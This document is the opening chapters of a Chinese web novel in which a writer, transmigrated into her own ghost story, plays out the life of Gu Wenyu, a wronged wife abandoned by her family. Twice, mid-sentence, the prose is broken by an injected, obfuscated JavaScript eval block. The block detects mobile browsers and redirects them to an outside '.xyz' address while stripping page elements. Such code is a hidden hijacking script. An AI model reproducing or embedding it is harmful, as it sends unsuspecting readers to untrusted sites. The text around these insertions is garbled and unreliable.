《我的小说家模拟器》 1. 第1章 焚心 柳轻絮知道,倘若她笔下的任何一个人物知晓自己身处的世界是一本小说,而她柳轻絮则是这一切的造物主,那么她们都必然是会恨她的。 恨她为何将她们抛入跌宕无常的命运中,却吝于给她们半点筹码。 可事实上,只有柳轻絮知道的是,她作为小说世界的创世神、一位严厉苛刻的母亲、一名慈悲无声的观众,她所给予自己女主角们的东西,远超她们自身的想象。 · 【抽卡中……抽卡成功!】 【您抽到的故事为:《心火》。本次难度等级R。】 【您需[演绎]的女主角为:顾闻玉。本次难度等级R。】 【第一场:摄政王府,听玉院,摄政王王妃卧房内。】 【场景演绎中……】 · 听玉院,摄政王王妃卧房内,顾闻玉正独自一人,对镜梳头。 今晚,她没有叫任何丫鬟进来,也没有任何丫鬟会进来。 只有她独自一人,在空荡荡的主母卧房里,持着木梳,对着镜子一下一下给自己梳头,从发根梳到发尾。 她的力道很重,扯得头皮都在发疼,痛得她的眼泪几欲滚落。可它们到底没有滚落,只在顾闻玉的眼眶里摇摇欲坠,被她一次又一次地忍回去,维系着她最后的尊严。 但柳轻絮知道,顾闻玉必然是恨的。 因为和她相濡以沫十三年的夫君——从天之骄子坠落泥塘,变作狼狈不堪的一介流犯,后又投身军营东山再起,最后权倾天下,成为挟天子以令诸侯的摄政王杜宏云,明天就要迎娶侧妃了。 并且那侧妃不是旁人,正是顾闻玉寡居娘家的二姐姐,顾珍玉。 而在今日白天,顾闻玉的娘还登了她的门,劝了她一整天。 这是宋母在顾闻玉出嫁的十三年后,第二次登她的门。 上一次登门,是顾闻玉夫家全族被流放的那一天,也就是顾闻玉出嫁的第二天。 那一天,顾闻玉拉着自己亲母的手,哭得满是惶恐与绝望,满心都是对未来和对流放之路的恐惧。 她哭道:“阿娘,你救救我,你救救我!我本是坐错了花轿,才替二姐姐嫁过来的,可昨晚我已经同姐夫说清楚了,今日就会各归各位……你救救我啊,阿娘,不该是我被流放的,该流放的人不该是我啊!” 但她的亲娘听了却勃然大怒,用力甩开了她的手:“什么叫做该流放的人不该是你?你想说什么?闻玉,你怎么这么恶毒?你怎么会想到要让你体弱多病的二姐姐替你走这一遭?!” 顾闻玉声音尖利:“可我本就不是杜家妇!我的夫君分明是崔家郎!” 宋母厉声斥道:“莫要再说这等话了!你姐姐昨夜已经嫁了过去,而你也已经嫁进了杜家!如今木已成舟,难道还能再把你们调换过来吗? “此等上错花轿进错门的事,阴差阳错间,本就是命运弄人,谁能先明?又能去怪谁? “闻玉啊,我的女儿,你莫要这般偏执,也莫要对我们心生怨恨,觉得当娘的不肯救你,哪个做母亲的,舍得自己的女儿陷入火坑? “可这世间的女子,向来是嫁鸡随鸡嫁狗随狗,你是杜家妇,杜家全族被流放,你自然也只有跟去的道理……反正,你对这种事总是熟悉的。 “闻玉啊闻玉,不是当娘的不帮你,是你命该如此,命该如此啊!” 十三年前的话犹在耳。 十三年后,当顾闻玉吃尽了流放路上的辛酸苦楚,好不容易盼到杜宏云翻身成为救国救民的大将军,后又随杜宏云返京为杜家翻案,被小皇帝封为摄政王王妃。 顾闻玉本以为,她熬了十三年,在流放路上历尽无数生死磨难后,如今总算熬到了苦尽甘来,熬到了云开见月明,接下来的后半生,应都是享福的好日子了。 可她那位无数次向她发誓必不负她的好夫君,却带着他向小皇帝求下的赐侧妃的圣旨归家了。 之后,便是宋母的二登门。 而这一次,她的好娘亲,是这样同顾闻玉说的: “当年你二姐姐与摄政王青梅竹马,两小无猜,本就该是你二姐姐嫁入杜家,若不是你年幼贪玩,上错了花轿,又岂会害得你二姐姐嫁错郎君,蹉跎了这些许年,甚至险些为那短命的崔家郎陪葬? “你占了你二姐姐的好处,她宽宏大量,这些年来也从未怪过你、与你计较。如今,她以侧妃之身嫁进王府,既是为了将当年之事拨乱反正,也是给你做脸,否则你以为,凭你的本事,你真能坐得稳这个王妃之位吗? “这世间有能力的男人,向来是三妻四妾的,以摄政王之权势,他日后必定会有无数妾室填充后院。而闻玉你,中人之姿,样貌平平,本就不容易讨你夫君欢喜,以前你们还在流放时尚且不提,可如今杜郎君成了摄政王,他怎可能还会为你守身如玉? “既然如此,让你二姐姐进来抓住摄政王的心、为你分忧,照拂于你,岂不好过让那些想把你从王妃之位拉下来的狐媚子进门作妖? “听娘的话,我的儿,这世上当娘的,哪有害女儿的呢?你二姐姐也是挂念着你、让着你,才以侧妃之身进府照拂你啊! “你若是不知好歹,执意不肯让你二姐姐进府,执意要给你二姐姐和摄政王难堪,你可知晓后果?你难道就不怕摄政王一怒之下,将你贬妻为妾、甚至一纸休书休了你?! “闻玉啊闻玉,不是当娘的偏心,而是你命该如此,命该如此啊!” 命该如此。 命该如此? 当时的顾闻玉木然听着,沉沉地想着。 是啊,是啊,或许真是命该如此吧。 若不是“命该如此”,怎的顾家的五个孩子里,四人都好好的,唯有她自小就被拐了去,摸滚打爬,吃尽世上的无数苦头? 若不是“命该如此”,为何顾家的孩子里男女都长得俊俏,独她生得平平,又因六年被拐的经历而越发粗野,没有半点大姐姐和二姐姐的扶风之姿? 她顾闻玉,因自小相貌平平,不受父母关爱。六岁那年,她好不容易有了一只喜欢的兔子花灯,却又被大哥强行拿走,送给同样喜欢兔子花灯的大姐姐。 那一刻,无数委屈涌上心头,她在人群中掉头就跑。 可跑了数步后,她又停了下来,回头去看,盼望有人念她、找她、担心她。 可无人追来。 只有寥寥两句话语,随风飘荡。 “小妹着实任性,这么一点小玩意也要争抢,不懂得礼让长姐,半点没有闺秀的模样!” “既然小妹跑了,就让她独自一人冷静一下吧。” 瞧,没有人担心一个六岁的孩子与家人分散后,认不认得回家的路。 甚至没有人想过一个孩子会在人潮汹涌的花灯节上遇到什么。 所以理所当然的,顾闻玉被人贩子抱走了。 又后来,顾闻玉费尽心思逃跑了,一直跑了六年,直到十二岁时才历尽了千辛万苦,成功回到顾家。 当她站在阔别六年的顾家门前,捏着无论走得多难多苦都不肯当掉的顾家玉佩时,她的眼泪瞬间便糊了满脸。 她以为,父母这些年对她的想念,应当与她对父母这些年的想念一般。 她还以为,此次回到顾家后,必定能得到父母和兄姐的全心愧疚,全部爱护。 她会把自己这些年为了回家而遭受的苦难,全都告诉他们,但她不会说得太真切,免得他们心疼。 她还会好好珍惜有家的日子,再不会与姐妹争抢,不会不懂礼数,不会让父母和兄姐失望。 她甚至还想,若相认时大家哭得太痛心太凄惨时,她要说些什么才能把大家逗得破涕为笑。 但她唯独没想到的是,当顾家确认了她的身份后,她迎来的并非想象中与亲人久别重逢后的抱头痛哭,而只有几滴浅浅的泪水,和几句深深的责怪。 大哥哥说:“小妹,当年若不是你任性出走,怎会被拐六年,连你大姐姐出嫁都没赶上?你可知大姐姐远嫁时,心中有多自责、多担心你?” 二哥哥说:“小妹,你这次回来,定要多花些时间学些礼仪才好,否则出了门,丢的是大家的脸。” 二姐姐说:“小妹,听说你当年与大姐姐发生口角,是为了一盏上不得台面的兔子灯……哎,我真不知该如何说你。若我不说、不训诫于你,怕是失了作为姐姐的管教之责;可我若说了你,你又一去不回,可怎生是好?” 就连娘也说:“闻玉啊,当年你便生性顽劣,头脑愚笨。诗书礼仪,比不过你二姐姐,绣花御下,比不过你大姐姐,而如今,你又在外流落,空耗了六年时光,日后还不知能嫁去怎样的人家,就连二姐姐都要被你的名声拖累……闻玉啊闻玉,你叫为娘的如何是好啊!若你当年——也罢也罢。” 也罢什么? 是怪她当年“任性被拐子拐走”?还是怪她——在被拐子拐走后,竟又自己找了回来? 顾闻玉不知为何,明明她见过那么多认祖归宗的孩子,见那些孩子被父母找到、与家人团圆时,父母们脸上的痛惜与爱怜是那样清晰、直击人心,让顾闻玉这个旁观者见了,都不由得潸然泪下。 可当顾闻玉置身其中之时,她竟半滴眼泪都掉不下来,只有一股说不清道不明的情绪横亘在喉间,吐不出来也咽不下去。 她想,或许是自己离家太久了,所以比不得兄长姐姐们同爹娘的情谊,这也是人之常情,毕竟人心是肉长的,会偏爱与自己相处更久的孩子也是常理。 她还想,自己或许就是没有与父母的缘分,但没关系,好生活是自己经营出来的。 女子嫁人就如同第二次投胎,所以,只要她擦亮眼睛,嫁个好人家,她就会有新的家人、新的未来、新的人生。 所以,不用在意,未来还那样长,她总会遇到爱重她珍惜她的人的。 抱着这样的想法,顾闻玉努力活着,努力经营自己的人生。 哪怕遇到上错花轿这样如天塌般的大事,哪怕在上错花轿的第二天就遇到全族流放这样当真天塌了的大事,顾闻玉也不肯放弃希望。 她想,当年她六岁被拐子拐走后,都能一步步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399996|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找回家,没理由十五岁的自己过得反而比六岁的自己更差啊! 于是,她把自己当作了真正的杜家妇,在流放的路上照拂全族。 她重拾自己年幼时就学会了的东西:分辨野菜、打猎割肉、劈柴烧灶、搓绳编帽、去腐止血…… 她把杜家全族人都好好地带到了流放地,并教导身为罪奴的他们怎样开荒种田、垒墙造屋,鼓励他们不论什么时候都不要放弃希望、都要过好自己的日子。 她救了杜家全族人的命,并且救了他们不止一次。 哪怕是日后的大将军、摄政王杜宏云,也在流放的第一年数次历经生死。 杜家人多年娇生惯养,没人指望得上,最后是她顾闻玉仗着自己力气大精神足,白日为人洗衣劈柴,晚上为人耕地扒草,日夜不休,才成功攒下钱,给杜宏云看病的。 而后,当杜宏云进入军营拼搏前程,却没想一去十年杳无音讯时,也是她留在家中孝敬公婆、帮扶全族,最后在杜家全族人的交口称赞下,送走体弱多病的公婆的。 顾闻玉做得很好,好到无可挑剔,好到杜宏云即便以大将军的身份归家后,也必须要向她低头,握着她那双与山野村夫没什么区别的手,含泪说一句“辛苦我妻”,说一句“此生我必不负你”。 而事实上,杜宏云的确没有“负”她。 因为杜宏云在重回京城时带上了她,而没把她这个无盐丑妇独自抛在流放地或路上,这是情深意重。 在杜宏云成为摄政王后,他也请旨,将顾闻玉封为了摄政王王妃,而不是让她这个老妻自请下堂,这是有情有义。 所以,哪怕杜宏云在请旨封顾闻玉为王妃的同时,还要迎娶顾珍玉为侧妃又如何? 这点子小事,哪里值得拿出来说了? 这做人啊,最重要的是知足。 她顾闻玉如今好不容易苦尽甘来,有了一位权倾朝野的好夫君,有了一眼就能看出荣华锦绣的未来,她还有什么不知足的呢? 顾闻玉的母亲这样问她,顾闻玉的夫君这样问她,顾闻玉的兄长姐姐这样问她,就连她回京路上救下来的丫鬟都这样小声问她: 你还有什么不知足的呢? 是啊,就连顾闻玉自己都问自己,还有什么不知足的。 可那股说不清道不明,擦不去抹不尽的心酸、委屈、不甘、不愿,就是这样横亘在顾闻玉的喉咙里,吐不出来,也咽不下去。 哪怕旁人一遍又一遍地用言语、用眼神、用动作告诉她,这就是你顾闻玉的命: 谁叫你头脑愚笨,没有才名? 谁叫你没有美貌,五大三粗? 谁叫你不受喜爱,生不逢春? 谁叫你——命该如此?! “可我……不想认命。” 飘摇的烛火中,顾闻玉看着镜子里那张明明不到三十,却因多年劳作、饱经风霜,而令本不秀丽的面容越发像是老妪的脸,眼眶里摇摇欲坠的泪水终于跌落。 “我不想认命。” “这——不该是我的命!” 【那你想要如何?】 倏尔,紧闭门窗的卧房内,烛火无风自动,一个如鬼魅般的声音幽幽响起。 【你说你不想认命,那你又想要怎样的人生、怎样的结局?】 “谁?!” 顾闻玉吓了一跳,回身望去。 可屋子里空荡荡的,什么都没有。 顾闻玉怔愣片刻,以为是自己伤心过度之下的幻觉。 可当她回过身,再次看向镜子里的自己时,她看到镜中人突然抬眼,对她粲然一笑。 【想好了吗?关于你想要的未来。】 顾闻玉骇然变色,蓦地起身,撞倒了凳子,发出了哐当一声巨响。 可门外的丫鬟仆妇们,分明听到了这个声音,却没有一个人前来敲门,没有一个人上来问她一句。 这一刻,那吐不出来也咽不下去的东西,再一次梗在顾闻玉喉间。 镜中的鬼魅笑了起来,像是怜悯,又像是讥嘲。 【瞧,这就是你的人生——失败,且毫无价值。】 【你吃进去的是草,挤出来的是血,一生都如牛马一样为旁人辛劳奉献。】 【你以为只要你付出就会得到回报,以为擦亮眼就能改变命运,以为世事不负有心人,以为真情总不会被辜负。】 【可事实是,你的多年辛劳被旁人坐享其成,一生都在为他人做嫁衣。你费尽心力才得到的东西旁人抬抬手就能得到,并且弃如敝履。你总是在擦亮眼,总以为自己有选择,可如今美梦在你眼前破碎,你终于明白,哪怕你擦瞎了眼,都抵不过一句“命该如此”!】 “你到底是谁?!”顾闻玉激烈打断,全身都在颤抖,近乎歇斯底里,“你到底想做什么?!” 【我是谁?】 镜中的鬼女低笑一声,抬眼看向顾闻玉。 明明是一张与顾闻玉同样的脸,此刻却偏如新生的太阳,熠熠生辉。 【我是你的神启。】 【我带你走向新生。】 2. 第2章 金手指 第二天,到底还是在热闹喜庆的锣鼓声中到来了。 当那十里红妆被人抬着在整个京城绕着圈展示时,顾闻玉静静地看着,只觉得那箱子上绑着的红绸是这样刺目,竟像是从她身上剐下的血肉一样。 如今的摄政王府,就是以前的杜府。 十三年前,顾闻玉也曾坐在这样的轿子里,被人吹吹打打地抬进府里。 只不过那时候,那时候杜府里的所有欢喜和礼待,期盼与等待,都是为了顾珍玉。 十三年后,同样的一幕又上演了一次,而这一次,依然是为了顾珍玉。 就好像世上从没有人期待过她顾闻玉,也从没有过她顾闻玉的容身之处。 恍惚间,顾闻玉好像又看到了“自己”。 那个分明顶着自己的脸,却没有半点被苦难磋磨的丧气,也没有半点对自己容貌的卑怯的鬼女,正昂着头,坐在酒宴的主位上。 只有顾闻玉瞧得见她。 而她也只瞧得见顾闻玉。 她笑着,一字一顿地问顾闻玉:【你想好了吗?】 【你想要的未来?】 顾闻玉袖子里手指攥紧了些,别开头,没再去看鬼女。 一路吹吹打打中,顾珍玉终于被抬进了门。 虽然按理来说,迎娶侧妃不该有这个规格;而按理来说,二嫁的寡妇也不该与新嫁娘的礼制一样。 可这些看似坚不可摧、困住了顾闻玉一年又一年的礼制与道理,在杜宏云的铁骑和权势下,却统统成了软弱的蚊蝇之音。 没有任何人敢在这一天同权倾天下的摄政王说,这一切于礼不合。 也没有任何人敢在这一幕前责问摄政王说,你这样的逾制将你发妻置于何地? 那些约束了顾闻玉一年又一年的规矩和礼法,本该因这些年顾闻玉对它的遵从,而好好将顾闻玉保护起来。 可那些曾经重如泰山的东西,此刻竟就这样轻巧从顾闻玉身侧滑走了,如鱼一样滑溜,甚至仿佛它从来就不存在! 这一刻,所有人都在欢笑。 一切似乎毫无问题。 至少没有一个人说这是有问题的。 于是顾闻玉也不得不站在这里,僵硬地露出笑容,装作一切都没有问题。 她眼睁睁看着顾珍玉如新嫁娘那样,披着红盖头,在顾闻玉喊了十三年夫君的那人的搀扶下,一步步向她走来,又一步步越过她,走向主座上的两个牌位。 她不得不亲眼看着,这场本该是妾室敬正室茶的一幕,变成了正室敬去世的公公婆婆的茶。 可是…… 可是,如果顾珍玉是正室,那她顾闻玉是谁? 她过去的十三年,是在干什么? 那个低头跟她说“此生永不相负”的男人,又是谁? 顾闻玉又恍惚了一下,感到世界像一个巨大的、虚假的泡沫。 而她则在这场泡沫中大梦了一场,一梦就是整整十三年,所以当她醒来后,所有人都在向前走,唯有她一个人被抛下了。 为什么会这样呢? 顾闻玉想不明白。 她是真的想不明白。 想她顾闻玉这一生,从来没有做过坏事。 她待人待事,都是付出十二万分的真心;她从来没有苛待过谁,或对谁恶语相向过。 她一生的时间,都花在救人与自救上。幼时是为了救自己,出嫁后是为了救杜家。 这样的她,为什么总是得不到回报呢? 分明世人都说,好人是有好报的,可她的“好报”在何处? 是因为独独她得不到好报,还是这句话本就是假的? 不公平……多么不公平啊! 她用十三年救下了杜家,撑起了杜家,凭什么旁人能轻易来摘她的果子? 她付出了那么多,凭什么得不到回报? ——这不公平! 如果这就是她顾闻玉的命,如果她一生注定都要为她人做嫁衣,那她顾闻玉……她……她—— 这一刻,顾闻玉的手再次颤抖起来。 她感到有什么东西如火焰一样从她心底腾起,烧灼着她的五脏六腑,烧灼着她的血肉骨皮。 她想要做点什么,无论做什么都可以! 可最后,顾闻玉只是暗暗吸了口气,用力捏了捏自己发颤的手指,静静看着自己的夫君与自己的亲姐拜堂,什么都没有做。 身后,鬼女的目光如影随形。 【真可悲啊。】 奇怪的是,鬼女明明没有说话,可顾闻玉却能听见对方的声音。 【兔子死时,尚且知道蹬鹰,而你……】 顾闻玉撇开头,不再向那鬼女投去一眼,不再听那鬼女半句蛊惑。 她告诉自己,日子都是人过出来的。 哪怕夫君不喜又如何? 她到底是帮他支撑了杜家十三年的发妻,哪怕杜宏云对她没有爱,也该有敬,也该给她这个发妻留□□面。 所以,哪怕她二姐姐入门了又如何? 侧妃也不过是一个妾罢了。 她顾闻玉才是正妻! 只要她守好自己的一亩三分地,守好自己身为正妻的体面,什么喜欢不喜欢的……大户人家、权贵家族里,哪里会讲这个? 甚至对许多主母来说,夫君不喜欢自己、不来自己房中,反而是一件好事,毕竟女子生产如过鬼门关,有人为自己分过这场苦难,这难道还不好么? 反正无论是从谁的肚子里出来的孩子,都要叫自己母亲的,而在礼法孝道的重压下,这些孩子也不敢不孝敬自己这个嫡母! 既然如此,她还有什么可忧虑的呢? 就和旁人说的那样,她顾闻玉已经走到了一个女人所能身处的最好的位置,她还有什么不满足的呢? 想到这里,顾闻玉越发挺直了背脊,脸上僵硬的笑也似乎柔和了些,露出了几分正室的大度宽和。 这一刻,画面定格。 世界从边缘处开始淡出,化作无数文字,纷纷投入一本书内。 而后一双手伸出,将这本书籍一合—— 啪! 那属于另一个世界的恩怨情仇,便就这样消失在了她的掌中。 【故事《心火》,第一幕第一场演绎完毕,是否结算?】 【不结算。】 当系统的声音响起时,柳轻絮想也不想地就拒绝了。 她目光低垂,仍沉浸在自己的思路和对接下来的剧情的构想中,不可自拔。 可没想到,自出现之时便言简意赅、存在感极低的系统,这一刻竟主动开口了。 【根据实时演算,本小说家模拟系统建议亲爱的写手进行第一场次的结算。】 柳轻絮终于从自己的世界拉回两分注意力:“建议结算?为什么?” 系统平静回答:【因为你没有时间了。】 轰隆! 这一刻,柳轻絮所蜷缩的茅草屋外,骇人的紫电划过天空,暴雨倾盆而下。 在近乎蓝紫色的翻涌云层下,一声凄厉的哭喊响彻天空,就连那瓢泼暴雨,都压不住这惊人的哭号。 柳轻絮轻手轻脚来到窗前,趴在窗户上,不顾外头的暴雨,从半山腰的茅草屋探头往下看,将山脚的村子和村子里的那场白事收入眼底。 “我的娘啊我的娘,你怎么就抛下你的子女们走了啊!” “我的爷啊我的爷,你睁开眼看看啊,你们二老就这样把你的孝子贤孙们抛下,你们怎么舍得啊!” 就像是交响乐团的指挥进场了。 随着哭丧人这两句铿锵有力的哭号,唢呐声起,吹出了凄凉的声调。 紧接着,村子里所有披麻戴孝的孝子贤孙们,也扯开嗓子,跪在暴雨里大声嚎了起来。 这是一场古代的白事。 并且还是乡下人家难得隆重的白事。 按理来说,这场白事跟柳轻絮这个住在半山腰的猎户女儿没有任何关系——他们甚至都不是同一个姓、不在同一个族! 可如果说,六个时辰后,方圆百里内,都会因这场白事而化作鬼蜮呢? 想到接下来必然会发生的事,并且这场可怕劫难正是出自自己之手,柳轻絮神色沉静,面无波澜,只静静看着。 她年幼且过分苍白瘦弱的脸,此刻在翻滚雷云的映照下,竟如同鬼魅一般。 不过,很快的,柳轻絮就收回了目光,看向屋内。 此刻,浓郁的血腥味正从里屋飘出,透过半掩的布帘,依稀还能看到木床上那名头破血流、死不瞑目的女性尸体。 而地面,则是年幼孩子从血泊中爬行而出、似乎踉跄着追逐什么人的痕迹。 只可惜,被孩子追逐的那人没有半点怜悯和犹豫,毫不留情地大步离开了此地,只将一个不到六岁的年幼女童,抛弃在满是血气的山林草屋里。 而更不幸的是,如今的柳轻絮,就是这个在同一天内先后失去母亲和父亲,并且在十二小时内自己也会身死的可怜女童。 见柳轻絮沉默不语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399997|184353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,系统柔和地劝解道:【亲爱的写手,我知道对于您来说,您很难接受自己第一次的抽奖机会就这样被浪费掉,而我们也同样遗憾不能一次性获取全部的故事。】 【可您要知道,只要是能在保护您人身安全的事上派上用场的能力,就绝不能说是“浪费”的。】 系统会发出这样的劝解,还得从柳轻絮的金手指运行方式说起。 一个小时前,当柳轻絮带着金手指【小说家模拟器】从这个女童身上醒来时,柳轻絮就知道,自己多年挖坑不填的报应来了。 否则她穿哪里不好,怎么就穿进了自己早年写的鬼故事合集里呢? 划重点,鬼故事。 还是合集! 这事儿算什么个性质,懂的都懂。 不过还好,柳轻絮不是一个人来的,她还带着自己的金手指,小说家模拟器。 只要她在模拟器里写完一本小说,或者说【演绎】完一本小说,她就能根据这本小说的评分,获得一次与评分等级对应卡池的抽卡机会。 而如果柳轻絮不是新写一本小说,而是【填坑】,也就是将她现代里那些写了几章就随手抛下的【坑文】补全,那么她除了获得一次与评级对应的卡池抽卡机会外,她还能从小说主角身上额外抽一次能力卡。 就比如说《心火》的主角顾闻玉。 如果柳轻絮不再继续演绎这个故事,而是在此刻就进行结算的话,那柳轻絮就不算【填坑】,这本小说自然也不能进行评分,后续相应的卡池即抽奖,自然也是没有的。 可柳轻絮依然能从主角身上抽一张能力卡。 《心火》的主角顾闻玉有什么能力呢? 普通人没有注意到、或者注意到也没有放在心上的是,顾闻玉有一个相当重要的设定,那就是力大如牛、精力充沛! 因为从小就有着异于常人的力气和精力,顾闻玉在被人贩子迷晕抱走后,并没有直接被送到远方卖掉,而是半路就在船上醒了过来,把人贩子打晕后跑了。 也正是因为这样的力气和精力,顾闻玉一个孩子,可以花六年的时间,徒步万里,回到顾家,而不是半路就饿死累死、当了别人的锅中餐。 也同样是因为这一分力气和精力,顾闻玉在被流放的十多年里,不但没有因困苦的生活亏空了身子,甚至还有精力去照顾旁人。 力大如牛、精力充沛——这样的特性,无论放在谁人身上,都是极大助益。 而对于如今只是五岁女童、且生命开始倒计时的柳轻絮来说,更是一种刚需! 因为柳轻絮若想要活下来,她只有一条路可走,那就是在接下来的六个时辰内,离开村子,走到百里之外,最好是两百里外! ——让一个五岁女童,在十二小时内,于崎岖坎坷的山路里走出一百公里? 这简直是天方夜谭! 但有了【力大如牛】或【精力充沛】特性后,却可以试着谈一谈了。 写文非一时之功,逃跑却是当务之急。 这也是系统劝柳轻絮不要头铁死磕的原因。 但柳轻絮听了,只是摇头。 【你错了,系统。六个时辰,十二个小时,已经足够我写完这本小说了。】 系统对此十分困惑:【但是,您写完这本小说又能怎么样? 【一本难度等级为R的故事,哪怕您将它演绎得完美无缺,它最后的评级也不会过超过SR。而在SR的卡池里,您也不是必然能抽到SR级别的道具。 【可如果您选择留下来,您要面对的生存挑战场景,却将是SSR级别的困难程度。您何必如此呢?】 轰隆! 在与系统的对话间,又是一记骇人紫电闪过。 山林中,柳轻絮看到一双双透亮到诡异的眼睛,正闪动着、靠近着。 那是被茅草屋内的血腥气吸引而来的野兽。 碍于之前猎户留下的余威,它们没有第一时间闯进屋内,但这份余威的震慑,必不长久。 柳轻絮没有再迟疑,手一伸,虚空中,一本装帧得古色古香的青色书籍,便这样落入她手中。 她翻开了这本书,翻开了那个熟悉的世界,再次进行着属于小说家的演绎。 【不用再劝我了。】 柳轻絮说。 【我送给我的女主角的真正赠礼,你甚至都没有瞧见冰山一角呢。】 · 【第二场:三年后,摄政王府,听玉院,废王妃卧房内。】 【场景演绎中……】 3. 第3章 废妃 林花谢了春红。 对听玉院的废妃顾闻玉来说,今年的秋天似乎来得特别早,又或者春天从不曾降临此地。 三年了,距离侧妃顾珍玉进门,已经三年了。 三年后的现在,听玉院仍在,可这处曾经被人精心修缮过的院落,不知何时已落满灰尘,一看就知道已经很久都无人打理了;而那条通向院子深处的青石板路的缝隙内,也是杂草丛生,似是许久都没人走过了。 粗粗看去,这听玉院,竟与废弃的院落没什么区别。 但,也对,就连摄政王妃,都变成了摄政王废妃,那这囚禁着废妃的听玉院,不正是废弃的院子吗? 可今日,这废弃的院子里,却迎来了一个意料之外的人,那就是顾闻玉的母亲,宋母。 这是宋母的第四次登门。 而她的上一次登门,还是在两年前,也就是她听闻她心爱的二女儿,被她上不得台面的小女儿害得小产的时候。 那一天,宋母气势汹汹地冲进了听玉院内,来到被摄政王禁足、满心悲戚绝望胡思乱想的顾闻玉面前,二话不是就是一个巴掌。 ——啪! “我怎么会生出你这个孽种!” 那巴掌声清脆极了,却并没有太多力道。 对于自出生后似乎就在吃苦的顾闻玉来说,一个居于深闺、养尊处优的贵妇人的全力的一巴掌,根本不痛不痒。 可它却摔碎了一个女儿的心。 顾闻玉捂住自己的脸,那处分明不痛的脸颊上,有一种羞耻、愤怒,混着心碎的苦痛,源源不绝地涌出。 她不可置信地看着宋母,说:“你打我?” “我打的就是你!” “你凭什么打我?!” “就凭你害得你二姐姐小产,害得她这辈子再也没办法有孩子了!” “你竟也认为是我下的手?” “人证物证俱在,你还想如何狡辩?!” 短短几句话,让哪怕被杜宏云怒斥“无德无容,恶毒善妒”也没有掉一滴眼泪的顾闻玉,终于忍不住哭出声来: “娘,娘!顾珍玉是你的女儿,我顾闻玉难道就不是你的女儿吗?他们都不信我,那是他们都不知我为人,也与我非亲非故——可你是我的娘啊!是生我养我的娘啊!他们不懂我,你也不懂我?他们不信我,你也不信我吗?!” 宋母厉叱道:“正因为我是你娘,我才知道你这个孽种是个什么性子! “你从小就好吃懒做,不学无术,德言容功比不得你大姐,诗书才华比不过你二姐,这也便罢了,谁叫我上辈子欠了你,才叫你投生为我女儿? “我好好养你小,送你一副嫁妆,把你嫁给一个好人家,便算是尽了我们这一世的母女情分了。可谁知,你不但不好学、不肯学,就连性情都那样古怪! “当年,你大姐姐不过是想要看看你的兔子灯,你便甩手跑开,最后被人贩子抱走,令你姐姐背负弄丢幼妹的罪名,这么多年来一直都被人指指点点,最后不得不远嫁他乡,令我们母女骨肉分离。 “那时我就该知道你不是个好的!可我糊涂!我糊涂啊! “我总是念着你是我的女儿,念着你走失时才不过六岁,所以当年你找回来时,我不顾你父亲的劝说,没有把你远远送去向乡下的庄子里,而是把你接进了顾府里,好好看照……” 顾闻玉厉声道:“那你好好看照我了吗?你以为给我吃给我穿,不把我送去乡下,就算是好好看照我了吗?!我是你的女儿啊!和大姐姐二姐姐一样,都是你的女儿啊! “可你是怎么对我的?你扪心自问,你这些年对我真的做到了公平吗?你对我,心里就真的没有半点亏待半点歉疚吗?!” 顾闻玉终于没有忍住,在源源不绝的眼泪中大声喊出了自己这些年的心酸。 她空荡荡的胃一阵绞紧,几乎要将这些年的心酸委屈统统呕出来。 可宋母却好似比她更委屈,更痛苦:“我难道还没有好好看照你吗?我对你难道还不好吗? “你甚至还好意思提你的二姐姐,你以为你二姐姐为何拖到你及笄时才能成亲?为何她比你大了三岁,却与你一块儿出门?那都是被你的名声所累啊! “在你们出门的那一天,我可算是松了口气。我以为我这个当娘的这一辈子总算能好好歇歇了,以为你们姐妹二人的前程,总算是被我安排妥当了……却没想你们竟然上错了花轿! “珍玉,我的好珍儿,知书达理弱不禁风的好珍儿,最后竟然嫁做了农家妇!她一辈子连砚台都没亲自拿过的手,却不得不拿起了锄头,和农妇一样耕作…… “你可知道我这个当娘的在看到我的珍儿用她的那双手在地里拔草时,心有多痛?我恨不得那个受苦受难的人是我!是我啊!” 宋母捶胸顿足,眼泪越流越凶。 可顾闻玉的泪却反而已经流尽了。 她的泪冰在她的脸上,心愈冷,话便愈毒。 “她在地里拔草你便这般心痛了,那我在边关背着木犁,跟牛一样跪在地里耕地的时候,你又在哪里?你可曾心痛过?”顾闻玉冷笑,“而且你对我说‘心痛’,难道不觉得好笑吗?假若你真的心痛二姐姐,你为何不接她归家?” 在顾闻玉回京、顾珍玉进门后,她也曾打听过二姐姐的过往,想要知道这个与自己阴差阳错下交换了夫君的亲姐姐,究竟过得如何。 而答案是,不太好。 顾珍玉出嫁不到一年,她的夫君崔轶就病死了,而她自己也差点在夫君出殡的那天,被崔家宗族逼得活活撞死在棺上! 若不是宋母及时带着家丁赶到,为顾珍玉撑腰,把顾珍玉带回了顾家,恐怕她连守寡十年的机会都没有。 多么悲凉的人生啊。 与顾闻玉这苦难的一生似乎有着同等令人怜惜的过往。 ——可这苦难是她顾闻玉造成的吗? 顾闻玉冷声道:“当年二姐姐回门时,难道不曾苦苦哀求你,说她吃不了农家的苦,求你让她和离归家?可你拒绝了。后来她第二次回家时,难道不也曾苦苦哀求父亲,求父亲帮崔家郎一把,哪怕只是拿些银钱出来帮崔家度过这一时的难关也好么?可父亲也拒绝了。 